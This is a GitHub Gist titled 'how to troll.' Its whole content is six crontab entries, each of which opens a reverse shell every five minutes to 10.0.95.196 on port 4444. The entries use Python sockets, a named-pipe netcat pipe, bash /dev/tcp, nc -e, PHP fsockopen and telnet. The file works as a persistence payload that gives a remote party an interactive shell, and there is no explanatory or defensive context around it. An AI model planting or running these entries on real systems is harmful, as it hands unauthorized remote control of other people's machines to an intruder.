Skip to content

Instantly share code, notes, and snippets.

@NitescuLucian
Last active October 2, 2019 10:41
Show Gist options
  • Save NitescuLucian/abe5dda8212d159341266e006efc12ec to your computer and use it in GitHub Desktop.
Save NitescuLucian/abe5dda8212d159341266e006efc12ec to your computer and use it in GitHub Desktop.
how to troll.
*/5 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.95.196",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
*/5 * * * * touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.95.196 4444 > /tmp/f
*/5 * * * * bash -i >& /dev/tcp/10.0.95.196/4444 0>&1
*/5 * * * * nc -e /bin/sh 10.0.95.196 4444
*/5 * * * * php -r '$sock=fsockopen("10.0.95.196",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
*/5 * * * * TF=$(mktemp -u); mkfifo $TF && telnet 10.0.95.196 4444 0<$TF | /bin/sh 1>$TF
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment